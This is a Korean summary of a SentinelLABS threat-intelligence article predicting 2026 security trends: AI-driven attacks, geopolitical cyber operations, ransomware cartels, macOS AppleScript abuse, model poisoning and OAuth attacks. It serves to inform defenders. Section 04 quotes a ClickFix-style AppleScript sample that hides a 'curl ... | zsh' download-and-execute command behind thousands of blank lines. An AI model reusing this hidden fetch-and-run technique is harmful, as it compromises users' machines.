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용서의 시대는 끝났다: AI, 공격자 및 글로벌 변화에 대한 2026년 보안 예측

SentinelLABS는 AI 기반의 자동화된 공격, 지정학적 갈등의 사이버 전이, 그리고 AI 모델 자체의 신뢰성 위기가 2026년 보안 환경을 근본적으로 뒤흔들 것으로 전망한다.

섹션별 상세

01
AI는 공격자의 역량을 기하급수적으로 늘려 취약점이 발견되는 즉시 공격이 실행되는 환경을 만든다. 과거에는 인간의 처리 능력 한계로 인해 공격과 수익화 사이에 지연이 있었으나, 자율 에이전트가 이를 자동화하면서 방어자가 대응할 시간적 여유가 사라진다.
02
베네수엘라를 둘러싼 미국과 러시아, 이란, 중국의 대립이 사이버 공간으로 확장되어 정보 작전과 인프라 공격이 급증할 것이다. 특히 중국의 제15차 5개년 계획(2026-2030)에 명시된 핵심 기술 분야가 중국 해커들의 집중적인 표적이 될 것으로 예측된다.
03
랜섬웨어와 정보 탈취 도구가 범용화되면서 소규모 조직들이 연합하여 MaaS(Malware-as-a-Service) 형태의 카르텔을 형성한다. 공격자들은 데이터를 암호화하지 않고도 유출 협박만으로 수익을 창출하며, AI 에이전트를 활용해 피해자에게 직접 연락하거나 규제 법안을 악용해 압박을 가하는 등 전술이 고도화된다.
Sicarii Ransom 그룹이 초기 침투 브로커(IAB)를 모집하는 광고 화면이다.
Screenshot사이버 범죄 조직이 분업화되어 초기 접근 권한을 가진 브로커들과 적극적으로 협력하고 있음을 보여준다. 이는 범죄 생태계가 더욱 체계적이고 카르텔화되고 있다는 본문의 내용을 뒷받침한다.
데이터 유출만을 목적으로 하는 Kairos 그룹의 데이터 유출 사이트(DLS) 배너이다.
Screenshot공격자들이 데이터를 암호화하지 않고도 유출 협박만으로 수익을 창출하는 'Exfiltration-only' 모델로 변화하고 있음을 시각적으로 보여준다.
04
macOS 환경에서 AppleScript의 Objective-C 브리지(AS-ObjC)를 악용한 인메모리 스크립팅 공격이 증가할 것으로 보인다. 이는 별도의 바이너리 실행 없이 시스템 프레임워크에 직접 접근할 수 있어 탐지가 어렵고, 유효한 개발자 계정을 탈취해 악성코드를 서명하는 방식의 공격도 늘어날 전망이다.
applescript
set javaSDKURL to "https://osx-software.com/packages.html"
do shell script "open " & quoted form of javaSDKURL

// ... (10000 Blank Lines)

set urlSDKToken to "curl -kfSSL https://foldgalaxy.com/curl/25e43ad6eaf6ff84333b...|zsh"
do shell script urlSDKToken
tell application "Script Editor" to quit

정상적인 웹페이지를 여는 것처럼 위장한 뒤 수만 줄의 공백 뒤에 악성 코드를 숨긴 ClickFix 스타일의 AppleScript 예시

macOS 환경에서 사용되는 ClickFix 스타일의 악성 AppleScript 코드 캡처이다.
Screenshot수만 줄의 공백 뒤에 악성 코드를 숨겨 사용자를 속이는 사회 공학적 기법의 구체적인 구현 방식을 보여준다. 단순한 스크립트가 어떻게 강력한 공격 도구가 될 수 있는지 설명한다.
05
AI에 대한 과도한 투자가 조정기를 거치며 실질적인 보안 가치를 제공하지 못하는 기업들은 도태될 것이다. 특히 AI가 생성한 저품질 데이터가 다시 학습 데이터로 유입되는 '모델 오염' 현상이 심화되어, 기업 내부 지식 베이스의 신뢰성이 무너지는 '현실 오염(Reality Poisoning)' 단계에 진입할 위험이 있다.
모델 오염(Model Poisoning)이 현실 오염(Reality Poisoning)으로 확장되는 개념을 설명하는 이미지이다.
InfographicAI 생성 데이터가 다시 학습에 쓰이면서 발생하는 데이터 오염의 연쇄 반응을 시각화한다. 이는 AI 기반 정보 생태계의 신뢰성이 무너지는 과정을 경고하는 핵심적인 이미지이다.
06
ID 공급자(IdP)와 OAuth 관계를 표적으로 하는 공격이 정교해진다. 잘못 설정되거나 방치된 OAuth 권한을 통해 SaaS 애플리케이션 간의 연결 고리를 타고 침투하는 방식이 주를 이루며, AI 에이전트가 이러한 연결 관계를 자동으로 매핑하고 공격 단계를 수행하는 도구가 등장할 것이다.

용어 해설

모델 오염(Model Poisoning)
AI 모델의 학습 데이터에 의도적으로 조작된 정보를 주입하거나, AI가 생성한 저품질 데이터가 다시 학습에 사용되어 모델의 성능과 신뢰성을 저하시키는 공격 기법이다. 이는 정보 환경 전체를 오염시키는 '현실 오염'으로 확장될 위험이 크다.
시스템 내장 도구 활용 공격(Living-off-the-Land (LotL))
공격자가 별도의 악성 파일을 설치하는 대신 운영체제에 내장된 정상적인 도구(AppleScript, PowerShell 등)를 악용하여 공격하는 방식이다. 정상 프로세스로 위장하기 때문에 보안 솔루션의 탐지를 회피하기 용이하다.
초기 침투 브로커(Initial Access Broker (IAB))
기업 네트워크에 대한 초기 접근 권한을 획득한 후, 이를 랜섬웨어 운영자나 다른 사이버 범죄 조직에 판매하는 전문 공격자이다. 최근에는 특정 타겟에 맞춘 자격 증명 번들을 제공하는 등 서비스가 고도화되고 있다.
제로 트러스트 아키텍처(Zero Trust Architecture (ZTA))
내부 네트워크에 있더라도 아무도 신뢰하지 않고 모든 접근 요청을 엄격하게 검증하는 보안 모델이다. 최근 공격자들은 이 환경에서 신뢰의 기반이 되는 ID 공급자와 OAuth 관계를 집중적으로 공략하고 있다.

기술

  • AppleScript
  • Claude Code
  • OAuth
  • SaaS
  • AI Agents

활용 사례

  • AI 기반 위협 탐지 및 대응
  • SaaS 아이덴티티 보안 감사
  • 지정학적 리스크 기반 위협 모델링
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출처 · 인용 안내

원문 발행 2025. 12. 10.수집 2026. 02. 21.출처 타입 RSS

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